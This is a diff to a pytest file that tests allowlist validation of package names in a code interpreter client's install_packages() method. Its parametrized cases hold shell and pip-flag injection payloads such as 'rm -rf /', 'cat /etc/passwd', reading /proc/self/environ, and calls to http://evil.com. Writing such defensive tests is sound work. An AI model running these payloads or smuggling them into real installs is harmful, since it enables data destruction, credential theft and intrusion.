@@ -984,23 +984,23 @@ def test_install_packages_invalid_characters_error(
984984 client .session_id = "test-session-id"
985985
986986 # Act & Assert - semicolon
987- with pytest .raises (ValueError , match = "Invalid characters in package name" ):
987+ with pytest .raises (ValueError , match = "Invalid package name" ):
988988 client .install_packages (["pandas; rm -rf /" ])
989989
990990 # Act & Assert - pipe
991- with pytest .raises (ValueError , match = "Invalid characters in package name" ):
991+ with pytest .raises (ValueError , match = "Invalid package name" ):
992992 client .install_packages (["pandas | cat /etc/passwd" ])
993993
994994 # Act & Assert - ampersand
995- with pytest .raises (ValueError , match = "Invalid characters in package name" ):
995+ with pytest .raises (ValueError , match = "Invalid package name" ):
996996 client .install_packages (["pandas && malicious" ])
997997
998998 # Act & Assert - backtick
999- with pytest .raises (ValueError , match = "Invalid characters in package name" ):
999+ with pytest .raises (ValueError , match = "Invalid package name" ):
10001000 client .install_packages (["pandas`whoami`" ])
10011001
10021002 # Act & Assert - dollar sign
1003- with pytest .raises (ValueError , match = "Invalid characters in package name" ):
1003+ with pytest .raises (ValueError , match = "Invalid package name" ):
10041004 client .install_packages (["pandas$HOME" ])
10051005
10061006 @patch ("bedrock_agentcore.tools.code_interpreter_client.get_control_plane_endpoint" )
@@ -1624,3 +1624,131 @@ def test_create_code_interpreter_without_certificates(
16241624 # Assert — certificates key should NOT be in the call
16251625 call_kwargs = client .control_plane_client .create_code_interpreter .call_args [1 ]
16261626 assert "certificates" not in call_kwargs
1627+
1628+
1629+ @patch ("bedrock_agentcore.tools.code_interpreter_client.get_control_plane_endpoint" )
1630+ @patch ("bedrock_agentcore.tools.code_interpreter_client.get_data_plane_endpoint" )
1631+ @patch ("bedrock_agentcore.tools.code_interpreter_client.boto3" )
1632+ class TestInstallPackagesAllowlist :
1633+ """Verify install_packages() rejects all flag-injection and shell-injection
1634+ payloads, and still accepts legitimate package specs.
1635+
1636+ Tests call install_packages() end-to-end so the full validation path is
1637+ exercised. The extras-bracket cases are marked xfail because the current
1638+ regex uses '.*' inside the brackets and does not yet restrict that group.
1639+ """
1640+
1641+ def _client (self , mock_boto3 ):
1642+ mock_session = MagicMock ()
1643+ mock_session .client .return_value = MagicMock ()
1644+ mock_boto3 .Session .return_value = mock_session
1645+ client = CodeInterpreter ("us-west-2" )
1646+ client .identifier = "test.identifier"
1647+ client .session_id = "test-session-id"
1648+ return client
1649+
1650+ # ------------------------------------------------------------------ #
1651+ # Pip flag injection #
1652+ # ------------------------------------------------------------------ #
1653+ @pytest .mark .parametrize (
1654+ "pkg" ,
1655+ [
1656+ "-r" ,
1657+ "-i" ,
1658+ "-e" ,
1659+ "-f" ,
1660+ "-c" ,
1661+ "--index-url" ,
1662+ "--extra-index-url" ,
1663+ "--find-links" ,
1664+ "--trusted-host" ,
1665+ "--no-deps" ,
1666+ "--pre" ,
1667+ "--upgrade" ,
1668+ "--require-hashes" ,
1669+ # flag + value as a single element
1670+ "--index-url http://evil.com" ,
1671+ "--extra-index-url http://evil.com" ,
1672+ "-r /etc/passwd" ,
1673+ "-r /proc/self/environ" ,
1674+ ],
1675+ )
1676+ def test_pip_flags_blocked (self , mock_boto3 , mock_get_data_endpoint , mock_get_control_endpoint , pkg ):
1677+ client = self ._client (mock_boto3 )
1678+ with pytest .raises (ValueError , match = "Invalid package name" ):
1679+ client .install_packages ([pkg ])
1680+
1681+ # ------------------------------------------------------------------ #
1682+ # Shell metacharacter and path injection #
1683+ # ------------------------------------------------------------------ #
1684+ @pytest .mark .parametrize (
1685+ "pkg" ,
1686+ [
1687+ "pandas; rm -rf /" ,
1688+ "pandas | cat /etc/passwd" ,
1689+ "pandas && malicious" ,
1690+ "pandas`whoami`" ,
1691+ "pandas$HOME" ,
1692+ # two packages smuggled as one argument
1693+ "pandas numpy" ,
1694+ # path traversal
1695+ "/etc/passwd" ,
1696+ "../../../etc/passwd" ,
1697+ # newline splitting the pip command
1698+ "pandas\n --extra-index-url http://evil.com" ,
1699+ "pandas\n rm -rf /" ,
1700+ ],
1701+ )
1702+ def test_shell_and_path_injection_blocked (self , mock_boto3 , mock_get_data_endpoint , mock_get_control_endpoint , pkg ):
1703+ client = self ._client (mock_boto3 )
1704+ with pytest .raises (ValueError , match = "Invalid package name" ):
1705+ client .install_packages ([pkg ])
1706+
1707+ # ------------------------------------------------------------------ #
1708+ # Extras bracket injection — xfail: '.*' in extras not yet restricted #
1709+ # ------------------------------------------------------------------ #
1710+ @pytest .mark .xfail (reason = "extras group uses '.*' — arbitrary content not yet restricted" )
1711+ @pytest .mark .parametrize (
1712+ "pkg" ,
1713+ [
1714+ "pandas[; cat /etc/passwd]" ,
1715+ "numpy[$(id)]" ,
1716+ "scipy[&& curl http://evil.com]" ,
1717+ "requests[| whoami]" ,
1718+ ],
1719+ )
1720+ def test_extras_injection_blocked (self , mock_boto3 , mock_get_data_endpoint , mock_get_control_endpoint , pkg ):
1721+ client = self ._client (mock_boto3 )
1722+ with pytest .raises (ValueError , match = "Invalid package name" ):
1723+ client .install_packages ([pkg ])
1724+
1725+ # ------------------------------------------------------------------ #
1726+ # Valid package specs — must continue to be accepted #
1727+ # ------------------------------------------------------------------ #
1728+ @pytest .mark .parametrize (
1729+ "pkg" ,
1730+ [
1731+ "pandas" ,
1732+ "numpy" ,
1733+ "scikit-learn" ,
1734+ "my_package" ,
1735+ "package.name" ,
1736+ "A" ,
1737+ "Package123" ,
1738+ "pandas[excel]" ,
1739+ "requests[security]" ,
1740+ "requests[security,socks]" ,
1741+ "numpy>=1.0" ,
1742+ "scipy==1.7.*" ,
1743+ "pandas!=2.0" ,
1744+ "requests~=2.28" ,
1745+ "urllib3<2.0" ,
1746+ "numpy>1.0" ,
1747+ "pandas[excel]>=1.5" ,
1748+ ],
1749+ )
1750+ def test_valid_packages_accepted (self , mock_boto3 , mock_get_data_endpoint , mock_get_control_endpoint , pkg ):
1751+ client = self ._client (mock_boto3 )
1752+ client .data_plane_client .invoke_code_interpreter .return_value = {"stream" : []}
1753+ # Should not raise
1754+ client .install_packages ([pkg ])
0 commit comments